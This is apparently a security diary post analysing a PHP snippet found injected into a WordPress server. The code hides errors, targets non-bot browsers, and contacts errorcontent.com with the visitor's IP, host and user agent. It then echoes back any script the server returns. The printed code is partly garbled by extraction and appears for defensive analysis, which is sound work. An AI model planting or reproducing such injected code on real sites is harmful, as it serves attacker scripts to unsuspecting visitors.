Possible WordPress Botnet C&C: errorcontent.com, (Tue, May 26th)

Thanks to one of our readers, for sending us this snipped of PHP he found on a WordPress server (I added some line breaks and comments in red for readability):

#2b8008# ">">/* turn off error reporting */
@ini_set(display_errors ">/* do not display errors to the user */
$wp_mezd8610 = @$_SERVER[HTTP_USER_AGENT">/* only run the code if this is Chrome or IE and not a bot */

if (( preg_match (/Gecko|MSIE/i, $wp_mezd8610) !preg_match (/bot/i, $wp_mezd8610)))
{ "># Assemble a URL like http://errorcontent.com/content?ip=[client ip]referer=[server host name]ua=[user agent]

$wp_mezd098610=http://.error.content..com/.content./? ip=.$_SERVER[REMOTE_ADDR].referer=.urlencode($_SERVER[HTTP_HOST]).ua="># check if we have the curl extension installed

if (function_exists(curl_init) function_exists(curl_exec"># if we dont have curl, try file_get_contents which requires allow_url_fopen.

elseif (function_exists(file_get_contents) @ini_get(allow_url_fopen"># or try fopen as a last resort
elseif (function_exists(fopen) function_exists(stream_get_contents)) {[email protected]_get_contents(@fopen($wp_mezd098610, r}}

if (substr($wp_8610mezd,1,3) === scr"># The data retrieved will be echoed back to the user if it starts with the string scr.

I havent been able to retrieve any content from errorcontent.com. Has anybody else seen this code, or is able to retrieve content from errorcontent.com ?

According to whois, errorcontent.com is owned by a Chinese organization. It currently resolves to37.1.207.26, which is owned by a british ISP. Any help as to the nature of this snippet willbe appreciated.

Johannes B. Ullrich, Ph.D.

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